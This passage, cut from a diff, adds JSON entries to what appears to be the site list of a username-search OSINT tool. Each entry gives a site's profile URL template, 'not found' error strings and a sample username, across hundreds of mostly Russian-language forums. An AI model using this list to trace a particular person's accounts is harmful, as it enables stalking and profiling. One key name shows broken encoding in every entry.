    ", + "errorTyp��": "message", + "url": "https://fantlab.ru/usersclasspage1?usersearch={}", + "urlMain": "https://fantlab.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Faqusha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://faqusha.ru/profile/{}/", + "urlMain": "https://faqusha.ru", + "usernameON": "typhoon", + "bad_site": "" + }, + "Fark": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Tastes like chicken.", + "errorMsg2": "FARK.com: User profiles: view", + "errorTyp��": "message", + "url": "https://www.fark.com/users/{}/", + "urlMain": "https://www.fark.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Farmerforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользовате", + "errorMsg3": "Не найдено ни одного пользовател", + "errorTyp��": "message", + "url": "http://farmerforum.ru/memberlist.php?username={}", + "urlMain": "http://farmerforum.ru", + "usernameON": "Admin", + "bad_site": "" + }, + "Fashionindustrynetwork": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.fashionindustrynetwork.com/members/{}", + "urlMain": "https://www.fashionindustrynetwork.com", + "usernameON": "abitosera", + "comments": "bad", + "bad_site": 1 + }, + "Fatsecret": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.fatsecret.com/member/{}", + "urlMain": "https://www.fatsecret.com", + "usernameON": "adam", + "bad_site": "" + }, + "Favera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://favera.ru/{}", + "urlMain": "https://favera.ru", + "usernameON": "mayhem", + "bad_site": 1 + }, + "Fcdin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://fcdin.com/forum/memberlist.php?username={}", + "urlMain": "http://fcdin.com", + "usernameON": "red", + "bad_site": "" + }, + "Fcenter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www1.fcenter.ru/fcconfa/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www1.fcenter.ru", + "usernameON": "DmitryVT", + "bad_site": 1 + }, + "Fckarpaty": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Сторінку не знайдено", + "errorMsg2": "Сторінку не знайдено", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://fckarpaty.com.ua/index/8-0-{}", + "urlMain": "http://fckarpaty.com.ua", + "usernameON": "OlegGurin", + "comments": "bad", + "bad_site": 1 + }, + "Fclmnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "content=\"noindex, nofollow", + "errorMsg2": "please...", + "errorTyp��": "message", + "url": "https://fclmnews.ru/user/{}/", + "urlMain": "https://fclmnews.ru", + "usernameON": "stoker82", + "comments": "cf", + "bad_site": "" + }, + "Fcrubin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "Форум болельщиков ФК Рубин", + "errorTyp��": "message", + "url": "https://www.fcrubin.ru/forum/member.php?username={}", + "urlMain": "https://www.fcrubin.ru", + "usernameON": "flet", + "bad_site": "" + }, + "Fcshakhter": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": ">Постов не найдено

    ", + "errorMsg2": "

    ", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://fcshakhter.by/forum.asp?limit_pocet=20&jmeno={}", + "urlMain": "https://fcshakhter.by", + "usernameON": "fdfds", + "bad_site": "" + }, + "Fedoraproject": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ask.fedoraproject.org/u/{}/summary", + "urlMain": "https://ask.fedoraproject.org/", + "usernameON": "rbirkner", + "bad_site": "" + }, + "Fegatch": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://www.fegatch.com/users/{}/artworks/", + "urlMain": "http://www.fegatch.com/", + "usernameON": "margaret-veret", + "bad_site": 1 + }, + "Feisovet": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://feisovet.ru/%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B8/{}", + "urlMain": "https://feisovet.ru", + "usernameON": "RinaLesnicova", + "bad_site": "" + }, + "Femunity": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "content='noindex", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://femunity.org/forums/users/{}/", + "urlMain": "https://femunity.org", + "usernameON": "andrew99", + "ignore_status_code": true, + "bad_site": "" + }, + "Fiat-club": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "http://fiat-club.org.ua/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "http://fiat-club.org.ua", + "usernameON": "CreAtoR", + "bad_site": "" + }, + "Ficwad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ficwad.com/a/{}/favorites/authors", + "urlMain": "https://ficwad.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Ficwriter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Этот профиль либо больше не существует или не доступен.", + "errorMsg2": "Пользователи", + "errorTyp��": "message", + "url": "https://ficwriter.info/polzovateli/userprofile/{}.html", + "urlMain": "https://ficwriter.info", + "usernameON": "Zinaida", + "bad_site": "" + }, + "Filmow": { + "country": "🇵🇹", + "country_klas": "PT", + "errorTyp��": "status_code", + "url": "https://filmow.com/usuario/{}", + "urlMain": "https://filmow.com/", + "usernameON": "adam", + "comments": "cf", + "bad_site": "" + }, + "Filmwatch": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://filmwatch.com/user/home/{}", + "urlMain": "https://filmwatch.com", + "usernameON": "hazelamy", + "comments": "Oplata", + "bad_site": 1 + }, + "Filmweb": { + "country": "🇵🇱", + "country_klas": "PL", + "errorMsg": "lang=\"pl\">", + "errorTyp��": "message", + "url": "http://movie-club.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://movie-club.ru", + "usernameON": "apollion", + "bad_site": "" + }, + "Forum_mow-portal": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mow-portal.ru/index/8-0-{}", + "urlMain": "https://mow-portal.ru", + "usernameON": "alexeyeryomchenko", + "bad_site": "" + }, + "Forum_mozhaysk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://mozhaysk.my1.ru/index/8-0-{}", + "urlMain": "https://mozhaysk.my1.ru", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_mozilla-russia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "

    \n\n\n0", + "errorTyp��": "message", + "url": "https://www.uralfishing.ru/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.uralfishing.ru", + "usernameON": "Mephisto", + "bad_site": "" + }, + "Uralrock": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://uralrock.ru/forum/member.php?username={}", + "urlMain": "https://uralrock.ru", + "usernameON": "Cyxapb", + "comments": "RUblock", + "bad_site": "" + }, + "Urlebird": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://urlebird.com/user/{}/", + "urlMain": "https://urlebird.com", + "usernameON": "chikamaria4", + "comments": "zamedlenie", + "bad_site": "" + }, + "USA_life": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://usa.life/{}", + "urlMain": "https://usa.life", + "usernameON": "RinDavis", + "bad_site": "" + }, + "Users_ucrazy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ucrazy.org/u/{}/", + "urlMain": "https://ucrazy.org", + "usernameON": "aptoc", + "bad_site": "" + }, + "Usersoft_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://usersoft.ucoz.ru/index/8-0-{}", + "urlMain": "https://usersoft.ucoz.ru", + "usernameON": "SRabdrashirup", + "bad_site": "" + }, + "Uvelir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://uvelir.net/member.php?username={}", + "urlMain": "https://uvelir.net/", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Uwr1": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "http://uwr1.de/forum/profile/{}", + "urlMain": "http://uwr1.de", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Uzhforum": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.uzhforum.com/member.php?username={}", + "urlMain": "http://www.uzhforum.com", + "usernameON": "kirpicik", + "comments": "old", + "bad_site": 1 + }, + "Valday": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Личные данные пользователя ", + "errorMsg2": "gen\"> ", + "errorMsg3": "UnMask", + "errorTyp��": "message", + "url": "https://valday.com/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://valday.com", + "usernameON": "Azs", + "bad_site": "" + }, + "Vamber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vamber.ru/author/{}/", + "urlMain": "https://vamber.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Vampirerave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.vampirerave.com/profiles/profiles2.php?profile={}", + "urlMain": "https://www.vampirerave.com", + "usernameON": "EternalXRage", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Vas3k": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vas3k.club/user/{}/", + "urlMain": "https://vas3k.club", + "usernameON": "zahhar", + "bad_site": "" + }, + "VC": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "message\":\"\",\"result\":{\"items\":[],\"lastId\":null", + "errorMsg2": "lastSortingValue\":0,\"total\":0", + "errorTyp��": "message", + "url": "https://vc.ru/discovery?q={}", + "urlMain": "https://vc.ru", + "urlProbe": "https://api.vc.ru/v2.51/search/subsites?q={}&type=1&page=0", + "usernameON": "yuliya", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Vegascreativesoftware": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Whatever you're looking for.", + "errorMsg2": "VEGAS Community | vegascreativesoftware.info", + "errorTyp��": "message", + "url": "https://www.vegascreativesoftware.info/us/users/profile/{}/", + "urlMain": "https://www.vegascreativesoftware.info", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Velocat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих сообщений не найдено", + "errorMsg2": "<title>ВЕЛОСАЙТ - Информация", + "errorTyp��": "message", + "url": "https://velocat.ru/velo/phpBB3/search.php?keywords={}&type=type-special", + "urlMain": "https://velocat.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Velomania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.velomania.ru/member.php?username={}", + "urlMain": "https://forum.velomania.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Velosamara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "http://velosamara.ru/forum/memberlist.php?username={}", + "urlMain": "http://velosamara.ru", + "usernameON": "Morbo", + "bad_site": "" + }, + "Venera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://venera.one/search/?q={}&type=core_members", + "urlMain": "https://venera.one", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Venmo": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://venmo.com/{}", + "urlMain": "https://venmo.com/", + "usernameON": "jenny", + "comments": "RUblock", + "bad_site": "" + }, + "Vero": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Error Page - VERO™ – True Social", + "errorMsg2": "class=\"_not-found-page", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vero.co/{}", + "urlMain": "https://vero.co", + "usernameON": "lilyherbertson", + "bad_site": "" + }, + "Vezha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vezha.com/members/?username={}", + "urlMain": "https://vezha.com/", + "usernameON": "red", + "bad_site": "" + }, + "Vgtimes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найден", + "errorMsg2": "Сайт сейчас", + "errorMsg3": "<div id='dle-content'></div>", + "errorTyp��": "message", + "url": "https://vgtimes.ru/user/{}/", + "urlMain": "https://vgtimes.ru", + "comments": "cf", + "usernameON": "Raumkua", + "bad_site": "" + }, + "Vidamora": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Meet , in", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.vidamora.com/profile/{}", + "urlMain": "https://www.vidamora.com", + "usernameON": "adam", + "bad_site": "" + }, + "Video_ploud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://video.ploud.jp/accounts/{}/video-channels", + "urlMain": "https://video.ploud.jp", + "usernameON": "lwflouisa", + "bad_site": "" + }, + "Videoforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://videoforums.ru/member.php?username={}", + "urlMain": "http://videoforums.ru", + "usernameON": "carlo", + "bad_site": "" + }, + "Videogamegeek": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Profile | VideoGameGeek", + "errorMsg2": "Error: User does not exist.", + "errorMsg3": "not found", + "errorTyp��": "message", + "url": "https://videogamegeek.com/user/{}", + "urlMain": "https://videogamegeek.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Videohive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://videohive.net/user/{}", + "urlMain": "https://videohive.net", + "usernameON": "zedbadley", + "bad_site": "" + }, + "Videosift": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "You Seem Lost", + "errorMsg2": "Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://videosift.com/member/{}", + "urlMain": "https://videosift.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": 1 + }, + "Vimeo": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://vimeo.com/{}", + "urlMain": "https://vimeo.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Virgool": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "۴۰۴", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://virgool.io/@{}", + "urlMain": "https://virgool.io/", + "usernameON": "blue", + "comments": "cf", + "bad_site": "" + }, + "Virtualireland": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "VirtualIreland.ru - Виртуальная Ирландия", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://www.virtualireland.ru/member.php?username={}", + "urlMain": "https://www.virtualireland.ru", + "usernameON": "Lee", + "bad_site": "" + }, + "Vishivalochka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://vishivalochka.ru/index/8-0-{}", + "urlMain": "http://vishivalochka.ru", + "usernameON": "Caliopa", + "comments": "Oplata", + "bad_site": "" + }, + "Vivino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.vivino.com/users/{}", + "urlMain": "https://www.vivino.com/", + "usernameON": "adam", + "bad_site": "" + }, + "VK": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://vk.com/{}", + "urlMain": "https://vk.com/", + "usernameON": "smith", + "bad_site": "" + }, + "Vkaline": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://www.vkaline.ru/forum/member.php?username={}", + "urlMain": "http://www.vkaline.ru", + "usernameON": "Varelik", + "comments": "old", + "bad_site": 1 + }, + "Vkrugudrusey": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorTyp��": "response_url", + "url": "http://{}.vkrugudrusey.ru/x/blog/all/", + "urlMain": "http://vkrugudrusey.ru", + "usernameON": "irina", + "comments": "Archive", + "bad_site": 1 + }, + "Vlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://vlab.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vlab.su", + "usernameON": "Sword93", + "bad_site": "" + }, + "Vladimirka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://www.vladimirka.ru/board/profile/{}", + "urlMain": "http://www.vladimirka.ru", + "usernameON": "anyazxc1", + "bad_site": "" + }, + "Vladmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация |", + "errorTyp��": "message", + "url": "https://vladmama.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vladmama.ru", + "usernameON": "Lenok2803", + "bad_site": "" + }, + "Vlmi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Упс! Мы столкнулись с некоторыми проблемами. | VLMI Интернет-безопасность, обмен приватной информацией", + "errorMsg2": "Полезные пользователи | VLMI Интернет-безопасность, обмен приватной информацией", + "errorTyp��": "message", + "url": "https://vlmi.biz/members/?username={}", + "urlMain": "https://vlmi.biz", + "usernameON": "mixa", + "comments": "old", + "bad_site": 1 + }, + "Voices": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.voices.com/actors/{}", + "urlMain": "https://www.voices.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Voicesevas": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://voicesevas.ru/user/{}/", + "urlMain": "http://voicesevas.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Volga-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://volga-gaz.nnov.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://volga-gaz.nnov.ru", + "usernameON": "serg6033", + "bad_site": "" + }, + "Volkodavcaoko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://volkodavcaoko.forum24.ru/?32-{}", + "urlMain": "https://volkodavcaoko.forum24.ru", + "usernameON": "itaka", + "bad_site": "" + }, + "Volkswagen": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://volkswagen.lviv.ua/members/?username={}", + "urlMain": "http://volkswagen.lviv.ua", + "usernameON": "scirocco", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Volleybox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://volleybox.net/ru/user/{}", + "urlMain": "https://volleybox.net", + "usernameON": "volleyjerseys", + "comments": "cf", + "bad_site": "" + }, + "Votetags": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "<body class=\"archive author\">", + "errorTyp��": "message", + "url": "https://www.votetags.info/author/{}/", + "urlMain": "https://www.votetags.info/", + "usernameON": "safeclothes", + "bad_site": "" + }, + "VSCO": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://vsco.co/{}", + "urlMain": "https://vsco.co/", + "usernameON": "blue", + "bad_site": "" + }, + "Vse": { + "country": "🇰🇿", + "country_klas": "KZ", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vse.kz/index.php?app=core&module=search&do=search&andor_type=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1", + "urlMain": "https://vse.kz", + "usernameON": "vturekhanov", + "comments": "old_feb_2025", + "bad_site": 1 + }, + "Vulengate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.vulengate.com/members/?username={}", + "urlMain": "https://www.vulengate.com", + "usernameON": "dmanskits", + "comments": "cf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Vulgo_rolka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vulgo.rolka.me/search.php?action=search&keywords=&author={}", + "urlMain": "https://vulgo.rolka.me", + "usernameON": "tania25297", + "bad_site": "" + }, + "Vyshyvanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://vyshyvanka.ucoz.ru/index/8-0-{}", + "urlMain": "https://vyshyvanka.ucoz.ru", + "usernameON": "Sirena", + "bad_site": "" + }, + "Vzvd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vzvd.ru/forum/index.php?p=/profile/{}", + "urlMain": "https://vzvd.ru", + "usernameON": "Troll", + "bad_site": "" + }, + "W3challs": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 Page not found – W3Challs Hacking Challenges", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://w3challs.com/profile/{}", + "urlMain": "https://w3challs.com/", + "usernameON": "adam", + "bad_site": "" + }, + "W3schools": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "problem", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://w3schools.invisionzone.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://w3schools.invisionzone.com", + "usernameON": "DubaiSouthVillas", + "comments": "cf", + "bad_site": "" + }, + "W7forums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.w7forums.com/members/?username={}", + "urlMain": "https://www.w7forums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wakatime": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://wakatime.com/@{}", + "urlMain": "https://wakatime.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wanelo": { + "country": "🇺🇸", + "country_klas": "US", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://wanelo.co/{}", + "urlMain": "https://wanelo.co", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Warcraft3ft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://warcraft3ft.clan.su/index/8-0-{}", + "urlMain": "https://warcraft3ft.clan.su", + "usernameON": "Inods", + "bad_site": "" + }, + "Warhammercommunity": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://warhammercommunity.com/forum/members/?username={}", + "urlMain": "https://warhammercommunity.com", + "usernameON": "harleyquinn", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Warriorforum": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "status_code", + "url": "https://www.warriorforum.com/members/{}.html", + "urlMain": "https://www.warriorforum.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Wasm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wasm.in/members/?username={}", + "urlMain": "https://wasm.in", + "usernameON": "entropy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Wattpad": { + "country": "🇨🇦", + "country_klas": "CA", + "errorMsg": "userError-404", + "errorMsg2": "Why do I have to complete a CAPTCHA?", + "errorTyp��": "message", + "url": "https://www.wattpad.com/user/{}", + "urlMain": "https://www.wattpad.com/", + "usernameON": "Dogstho7951", + "bad_site": "" + }, + "Wc3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://wc3.3dn.ru/index/8-0-{}", + "urlMain": "http://wc3.3dn.ru", + "usernameON": "Terror", + "bad_site": "" + }, + "Weasyl": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.weasyl.com/~{}", + "urlMain": "https://www.weasyl.com", + "usernameON": "adam", + "bad_site": "" + }, + "Webhamster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://webhamster.ru/punbb/userlist.php?username={}", + "urlMain": "https://webhamster.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Weblancer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://www.weblancer.net/users/{}/", + "urlMain": "https://www.weblancer.net", + "usernameON": "alraa", + "bad_site": "" + }, + "Webonrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://webonrails.ru/user/{}/", + "urlMain": "https://webonrails.ru", + "usernameON": "rediska", + "comments": "old", + "bad_site": 1 + }, + "WebOS": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://webos-forums.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=msgonly&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://webos-forums.ru", + "usernameON": "tessi", + "bad_site": "" + }, + "Weburg": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">К сожалению в разделе", + "errorMsg2": "Ê ñîæàëåíèþ â ðàçäåëå", + "errorMsg3": "ничего не найдено", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://weburg.net/search?where=10&search=1&q={}", + "urlMain": "https://weburg.net", + "usernameON": "adam", + "comments": "Oplata", + "bad_site": "" + }, + "Weedmaps": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Find Marijuana Dispensaries, 